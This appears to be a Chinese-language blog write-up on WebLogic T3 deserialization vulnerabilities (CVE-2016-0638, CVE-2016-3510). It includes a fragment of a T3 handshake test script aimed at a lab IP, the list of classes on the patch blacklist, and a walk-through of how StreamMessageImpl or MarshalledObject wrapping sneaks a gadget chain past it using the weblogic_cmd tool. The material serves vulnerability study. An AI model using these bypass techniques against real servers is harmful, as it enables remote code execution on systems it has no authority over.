while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.19.131"
port = 7001
T3Test(ip,port)再看一下网上的资料,握手包结束后是序列化的
java
数据流前面提到过
aced 0005
是序列化的标志,那么为了执行payload
,抓下协议包,将数据改为构造的payload
即可
CVE-2016-0638
浅析原理
在上一个漏洞爆出后,
Oracle
对weblogic
发布了补丁,将以下 $5$ 个函数加入黑名单:1
2
3
4
5
6org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure并且在
CVE-2015-4852
中三个反序列化的地方进行了黑名单判定:1
2
3weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class而
CVE-2015-4852
段 $3$ 用到的AnnotationInvocationHandler
类通过InboundMsgAbbrev#readObject
反序列化时会调用到ServerChannelInputStream#resolveClass
,也就是黑名单的检测所在的位置如图,在
wlserver.server.lib.wlthint3client.jar.weblogic.rjvm.inboundMsgAbbrev
中:这里的思路是:找到一个类将恶意链包裹起来(二次序列化)以通过黑名单检测,随后再将其解开(黑名单检测后的反序列化),再执行恶意链(该类自己的readobject方法二次反序列化)
也就是
wlserver.server.lib.wlthint3client.jar.weblogic.jms.common.StreamMessageImpl
类以及其中的External()
方法该方法执行时,反序列化传入的参数并调用参数反序列化后对应类的
readObject
方法使用该类的具体原理是:对于原本构造好、需要反序列化来执行的链子,封装进
StreamMessageImpl
并对其序列化。反序列化时该类不在黑名单中所以不被过滤,其调用readObject
方法时对之前封装的链子再次反序列化测试
用 weblogic_cmd 来测试一下:
扔到
idea
里面,配置一下:应用实参这一行参数可以自己改,
-C
后面即是payload
由于版本问题,这里用
jdk1.8
启动,需要额外配置两个库的位置:直接断点在
StreamMessageImpl.readExternal
:看眼
var4
显然是反序列化的数据继续跟踪
var5
的readObject
就能回到熟悉的AnnotationInvocationHandler
了
CVE-2016-3510
具体原理与上一个一样,只不过这个利用了
weblogic.corba.utils.MarshalledObject
类而非StreamMessageImpl
来封装链子以绕过黑名单检测调试
还是使用刚刚的
weblogic_cmd
,Main
这里把Type
改成marshall
调试看一下构造过程:
在这里用熟悉的
CC
链构造payload
,传给serialData
,而blindExecutePayloadTransformerChain
主要是返回利用链的Transform[]
数组内容,所以跟踪serialData
前面还是经典的
Lazy
序列化,重点是断点这一行到
MarshalleObject
看下:var3
是一个new
的MarshalledObject.MarshalledObjectOutputStream
对象:而这个对象继承了
ObjectOutputStream
对象,还调用了父类的构造器super
再继续看
MarshalledObject
var1
是恶意构造的AnnotationInvocationHandler
对象,将其序列化后写入ByteArrayOutputStream
对象的var2
中,又被写给MarshelledObject
对象的this.objBytes
中 ,然后对其序列化操作
安全牛第三章-安全测试实践2.0
- 本文链接: http://noone40404.github.io/2023/12/10/安全牛课堂第三章-安全测试实践2.0/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!